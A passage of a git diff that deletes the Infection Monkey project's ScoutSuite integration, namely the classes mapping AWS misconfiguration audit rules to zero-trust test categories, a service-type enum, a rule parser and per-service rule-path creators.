-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules - - -# Class which links ZT tests and rules to ScoutSuite finding -class ScoutSuiteFindingMap(ABC): - @property - @abstractmethod - def rules(self) -> List[RuleNameEnum]: - pass - - @property - @abstractmethod - def test(self) -> str: - pass - - -class PermissiveFirewallRules(ScoutSuiteFindingMap): - rules = [ - EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, - EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, - EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, - VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, - VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, - VPCRules.NETWORK_ACL_NOT_USED, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, - RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, - RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES - - -class UnencryptedData(ScoutSuiteFindingMap): - rules = [ - EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, - EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, - EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, - ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, - ELBv2Rules.ELBV2_OLDER_SSL_POLICY, - RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, - S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, - S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, - ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, - ELBRules.ELB_OLDER_SSL_POLICY, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA - - -class DataLossPrevention(ScoutSuiteFindingMap): - rules = [ - RDSRules.RDS_INSTANCE_BACKUP_DISABLED, - RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, - RDSRules.RDS_INSTANCE_SINGLE_AZ, - S3Rules.S3_BUCKET_NO_MFA_DELETE, - S3Rules.S3_BUCKET_NO_VERSIONING, - ELBv2Rules.ELBV2_NO_DELETION_PROTECTION, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION - - -class SecureAuthentication(ScoutSuiteFindingMap): - rules = [ - IAMRules.IAM_USER_NO_ACTIVE_KEY_ROTATION, - IAMRules.IAM_PASSWORD_POLICY_MINIMUM_LENGTH, - IAMRules.IAM_PASSWORD_POLICY_NO_EXPIRATION, - IAMRules.IAM_PASSWORD_POLICY_REUSE_ENABLED, - IAMRules.IAM_USER_WITH_PASSWORD_AND_KEY, - IAMRules.IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA, - IAMRules.IAM_USER_WITHOUT_MFA, - IAMRules.IAM_ROOT_ACCOUNT_NO_MFA, - IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS, - IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION, - IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION - - -class RestrictivePolicies(ScoutSuiteFindingMap): - rules = [ - IAMRules.IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL, - IAMRules.IAM_EC2_ROLE_WITHOUT_INSTANCES, - IAMRules.IAM_GROUP_WITH_INLINE_POLICIES, - IAMRules.IAM_GROUP_WITH_NO_USERS, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_MANAGED_POLICY_NO_ATTACHMENTS, - IAMRules.IAM_ROLE_WITH_INLINE_POLICIES, - IAMRules.IAM_ROOT_ACCOUNT_USED_RECENTLY, - IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS, - IAMRules.IAM_USER_WITH_INLINE_POLICIES, - EC2Rules.AMI_PUBLIC, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ, - S3Rules.S3_BUCKET_ALLUSERS_WRITE_ACP, - S3Rules.S3_BUCKET_ALLUSERS_WRITE, - S3Rules.S3_BUCKET_ALLUSERS_READ_ACP, - S3Rules.S3_BUCKET_ALLUSERS_READ, - S3Rules.S3_BUCKET_WORLD_PUT_POLICY, - S3Rules.S3_BUCKET_WORLD_POLICY_STAR, - S3Rules.S3_BUCKET_WORLD_LIST_POLICY, - S3Rules.S3_BUCKET_WORLD_GET_POLICY, - S3Rules.S3_BUCKET_WORLD_DELETE_POLICY, - EC2Rules.EC2_DEFAULT_SECURITY_GROUP_IN_USE, - EC2Rules.EC2_DEFAULT_SECURITY_GROUP_WITH_RULES, - EC2Rules.EC2_EBS_SNAPSHOT_PUBLIC, - SQSRules.SQS_QUEUE_WORLD_SENDMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_PURGEQUEUE_POLICY, - SQSRules.SQS_QUEUE_WORLD_GETQUEUEURL_POLICY, - SQSRules.SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY, - SQSRules.SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY, - SNSRules.SNS_TOPIC_WORLD_SUBSCRIBE_POLICY, - SNSRules.SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY, - SNSRules.SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY, - SNSRules.SNS_TOPIC_WORLD_RECEIVE_POLICY, - SNSRules.SNS_TOPIC_WORLD_PUBLISH_POLICY, - SNSRules.SNS_TOPIC_WORLD_DELETETOPIC_POLICY, - SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY, - SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY, - SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY, - RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES - - -class Logging(ScoutSuiteFindingMap): - rules = [ - CloudTrailRules.CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_DATA_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_LOG_FILE_VALIDATION, - CloudTrailRules.CLOUDTRAIL_NO_LOGGING, - CloudTrailRules.CLOUDTRAIL_NOT_CONFIGURED, - CloudWatchRules.CLOUDWATCH_ALARM_WITHOUT_ACTIONS, - ELBRules.ELB_NO_ACCESS_LOGS, - S3Rules.S3_BUCKET_NO_LOGGING, - ELBv2Rules.ELBV2_NO_ACCESS_LOGS, - VPCRules.SUBNET_WITHOUT_FLOW_LOG, - ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING - - -class ServiceSecurity(ScoutSuiteFindingMap): - rules = [ - CloudformationRules.CLOUDFORMATION_STACK_WITH_ROLE, - ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, - RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED, - RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE, - RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py deleted file mode 100644 index 65f85aa9d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ /dev/null @@ -1,19 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - DataLossPrevention, - Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, - ServiceSecurity, - UnencryptedData, -) - -SCOUTSUITE_FINDINGS = [ - PermissiveFirewallRules, - UnencryptedData, - DataLossPrevention, - SecureAuthentication, - RestrictivePolicies, - Logging, - ServiceSecurity, -] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py deleted file mode 100644 index abbd48164..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ /dev/null @@ -1,31 +0,0 @@ -from enum import Enum - -SERVICES = "services" -FINDINGS = "findings" - - -class SERVICE_TYPES(Enum): - ACM = "acm" - AWSLAMBDA = "awslambda" - CLOUDFORMATION = "cloudformation" - CLOUDTRAIL = "cloudtrail" - CLOUDWATCH = "cloudwatch" - CONFIG = "config" - DIRECTCONNECT = "directconnect" - EC2 = "ec2" - EFS = "efs" - ELASTICACHE = "elasticache" - ELB = "elb" - ELB_V2 = "elbv2" - EMR = "emr" - IAM = "iam" - KMS = "kms" - RDS = "rds" - REDSHIFT = "redshift" - ROUTE53 = "route53" - S3 = "s3" - SES = "ses" - SNS = "sns" - SQS = "sqs" - VPC = "vpc" - SECRETSMANAGER = "secretsmanager" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py deleted file mode 100644 index 7db9a5988..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ /dev/null @@ -1,40 +0,0 @@ -from enum import Enum - -from common.utils.code_utils import get_value_from_dict -from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 - RULE_PATH_CREATORS_LIST, -) - - -def __build_rule_to_rule_path_creator_hashmap(): - hashmap = {} - for rule_path_creator in RULE_PATH_CREATORS_LIST: - for rule_name in rule_path_creator.supported_rules: - hashmap[rule_name] = rule_path_creator - return hashmap - - -RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap() - - -class RuleParser: - @staticmethod - def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: - rule_path = RuleParser._get_rule_path(rule_name) - return get_value_from_dict(scoutsuite_data, rule_path) - - @staticmethod - def _get_rule_path(rule_name: Enum): - creator = RuleParser._get_rule_path_creator(rule_name) - return creator.build_rule_path(rule_name) - - @staticmethod - def _get_rule_path_creator(rule_name: Enum): - try: - return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] - except KeyError: - raise RulePathCreatorNotFound( - f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators." - ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py deleted file mode 100644 index 56734e1a0..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ /dev/null @@ -1,28 +0,0 @@ -from abc import ABC, abstractmethod -from enum import Enum -from typing import List, Type - -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import ( - FINDINGS, - SERVICE_TYPES, -) - - -class AbstractRulePathCreator(ABC): - @property - @abstractmethod - def service_type(self) -> SERVICE_TYPES: - pass - - @property - @abstractmethod - def supported_rules(self) -> Type[RuleNameEnum]: - pass - - @classmethod - def build_rule_path(cls, rule_name: Enum) -> List[str]: - assert rule_name in cls.supported_rules - return [cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py deleted file mode 100644 index 55f718608..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( - CloudformationRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudformationRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDFORMATION - supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py deleted file mode 100644 index 1f764ec8b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( - CloudTrailRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudTrailRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDTRAIL - supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py deleted file mode 100644 index 573d129ee..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( - CloudWatchRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudWatchRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDWATCH - supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py deleted file mode 100644 index 45cc2e3d6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( - ConfigRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ConfigRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CONFIG - supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py deleted file mode 100644 index 41e42180b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class EC2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.EC2 - supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py deleted file mode 100644 index 65b320292..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ELBRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB - supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py deleted file mode 100644 index 8a560f401..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ELBv2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB_V2 - supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py deleted file mode 100644 index 0ab9e686f..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class IAMRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.IAM - supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py deleted file mode 100644 index 56252a3f6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class RDSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.RDS - supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py deleted file mode 100644 index 90ba44308..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( - RedshiftRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class RedshiftRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.REDSHIFT - supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py deleted file mode 100644 index aa6f101aa..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class S3RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.S3 - supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py deleted file mode 100644 index 4530aa097..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SESRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SES - supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py deleted file mode 100644 index bb619f92f..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SNSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SNS - supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py deleted file mode 100644 index 19229c1d6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SQSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SQS - supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py deleted file mode 100644 index 7f3cfecde..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class VPCRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.VPC - supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py deleted file mode 100644 index d724ca584..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ /dev/null @@ 